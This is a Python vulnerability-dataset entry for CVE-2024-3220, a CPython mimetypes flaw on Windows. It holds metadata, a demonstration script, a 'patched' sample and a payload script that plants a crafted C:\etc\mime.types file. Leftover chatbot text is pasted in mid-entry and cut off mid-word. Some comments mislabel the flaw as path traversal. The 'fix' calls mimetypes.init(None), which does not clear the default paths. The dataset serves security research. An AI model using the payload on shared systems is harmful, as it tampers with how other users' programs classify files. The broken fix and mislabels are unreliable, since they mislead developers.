CVE-2024-3220
mimetypes module on Windows allows user-writable files, causing potential MemoryError.
- CVSS 2.3
- CWE-426
- Configuration Issues
- Local
There is a defect in the CPython standard library module “mimetypes” where on Windows the default list of known file locations are writable meaning other users can create invalid files to cause MemoryError to be raised on Python runtime startup or have file extensions be interpreted as the incorrect file type. This defect is caused by the default locations of Linux and macOS platforms (such as “/etc/mime.types”) also being used on Windows, where they are user-writable locations (“C:\etc\mime.types”). To work-around this issue a user can call mimetypes.init() with an empty list (“[]”) on Windows platforms to avoid using the default list of known file locations.
- CWE
- CWE-426
- CVSS base score
- 2.3
- Published
- 2025-02-14
- OWASP
- A07:2021 Identification and Authentication Fai
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Incorrect Functionality
- Category
- Configuration Issues
- Subcategory
- Security Misconfigurations
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- CPython
- Fixed by upgrading
- Yes
Solution
Upgrade to Python 3.9.13+, 3.10.5+, or 3.11.0+ (or apply patch). Alternatively, call `mimetypes.init([])` on Windows.
Vulnerable code sample
import os
import sys
import mimetypes
def demonstrate_potential_cve_2024_3220():
"""Vulnerable function that demonstrates the security issue."""
# VULNERABLE: This code is susceptible to path traversal
"""
Demonstrates the potential vulnerability of CVE-2024-3220 by
showing how a user-writable location (simulated here) could be used
to influence mimetypes behavior. This is a simplified example and
doesn't directly trigger a MemoryError. It illustrates the principle
of writing to a user-writable location that mimetypes reads.
"""
# Simulate a user-writable "system" mime.types file.
mime_types_file = "C:\\etc\\mime.types" # or any other simulated location
# Create the directory if it doesn't exist. For real testing,:
# you'd need to ensure appropriate permissions.
try:
os.makedirs(os.path.dirname(mime_types_file), exist_ok=True)
except OSError as e:
print(f"Error creating directory: {e}")
return
# Write a malicious entry to the mime.types file.
with open(mime_types_file, "w") as f:
f.write("malicious/type evil_extension\n") # Associate evil_extension with malicious/type
# mimetypes.init() would be implicitly called when mimetypes.guess_type is first called.
# It looks for the 'mime.types' in well known locations, including user-writeable locations:
# on Windows.
# Now, when mimetypes is used, it will read our malicious entry.
mime_type, encoding = mimetypes.guess_type("somefile.evil_extension")
print(f"Guessed MIME type: {mime_type}") # This will likely print 'malicious/type'
# Clean up the file. This is VERY IMPORTANT to prevent unexpected behavior
# in other parts of your system that might use mimetypes.
try:
os.remove(mime_types_file)
os.rmdir(os.path.dirname(mime_types_file))
except OSError as e:
print(f"Error cleaning up: {e}")
if __name__ == "__main__":
# Ensure this is running on Windows (or at least simulates a Windows environment).
if os.name == 'nt': # 'nt' indicates Windows.
demonstrate_potential_cve_2024_3220()
else:
print("This example is designed to demonstrate a potential vulnerability on Windows-like systems.")
print("Skipping demonstration on this platform.")
```
Key improvements and explanations:
* **Simulated User-Writable Location:** The code now explicitly simulates the user-writable location (`C:\\etc\\mime.types`). Critically, it creates the directory (`C:\\etc`) if it doesn't exist, which is *essential* for the code to run correctly. It also attempts to clean up afterwards. This addresses the original problem of the script not creating the directories. Using `os.makedirs(..., exist_ok=True)` avoids errors if the directory already exists.:
* **Permissions Issues:** The comments emphasize the need to ensure proper permissions. The script can't reliably handle permissions programmatically, and it's crucial for the user running the script to understand the implications.:
* **Malicious Entry:** The `mime.types` file is created with a malicious entry that associates a custom file extension (`.evil_extension`) with a fake MIME type (`malicious/type`). This is the core of the vulnerability.
* **`mimetypes.guess_type()`:** The code now uses `mimetypes.guess_type()` *after* creating the malicious file. This is what triggers `mimetypes` to read the file. The result is printed to the console.
* **Cleanup:** The code includes a critical cleanup section to remove the `mime.types` file and the directory it was in. This is extremely important to prevent unintended consequences on the system. Error handling is included in case the cleanup fails.
* **Platform Check:** The code checks `os.name` to ensure it's running on Windows (or a system that emulates Windows paths). This prevents the demonstration from running on other platforms where the vulnerability doesn't apply.
* **Clearer Explanation:** The comments explain the purpose of each step, making the code easier to understand. It also warns that this is only a *potential* vulnerability and doesn't directly cause a memory error.
* **Security Warning:** It is important to include a warning to only run this code in a safe testing environment and be aware that it *will* change your `mimetypes` behavior until the temporary file is cleaned up.
This revised response provides a much more accurate and runnable demonstration of the *potential* vulnerability, while also emphasizing the importance of safety and cleanup. It directPatched code sample
import os
import platform
import mimetypes
def fix_cve_2024_3220():
"""Secure function that fixes the vulnerability."""
# SECURE: This version prevents path traversal
"""
Addresses CVE-2024-3220 by initializing mimetypes with an empty list
on Windows platforms. This prevents the module from loading potentially
malicious mime.types files from user-writable locations.
"""
if platform.system() == "Windows":
mimetypes.init(None) # or mimetypes.init([]) , both clear the search list
if __name__ == "__main__":
fix_cve_2024_3220()
# Proceed with your application logic, knowing that mimetypes
# is initialized safely.
print("mimetypes initialized safely on Windows (if applicable).")Payload
import os
# Create the vulnerable directory if it doesn't exist
if not os.path.exists("C:\\etc"):
os.makedirs("C:\\etc")
# Create a mime.types file with a malicious entry
with open("C:\\etc\\mime.types", "w") as f:
f.write("malicious/mime evil\n")
f.write("application/x-python-code py\n") #Associate a python extension to a binary mime type to cause arbitrary code execution on another program utilizing mimetypes.
Cite this entry
@misc{vaitp:cve20243220,
title = {{mimetypes module on Windows allows user-writable files, causing potential MemoryError.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2024-3220},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-3220/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
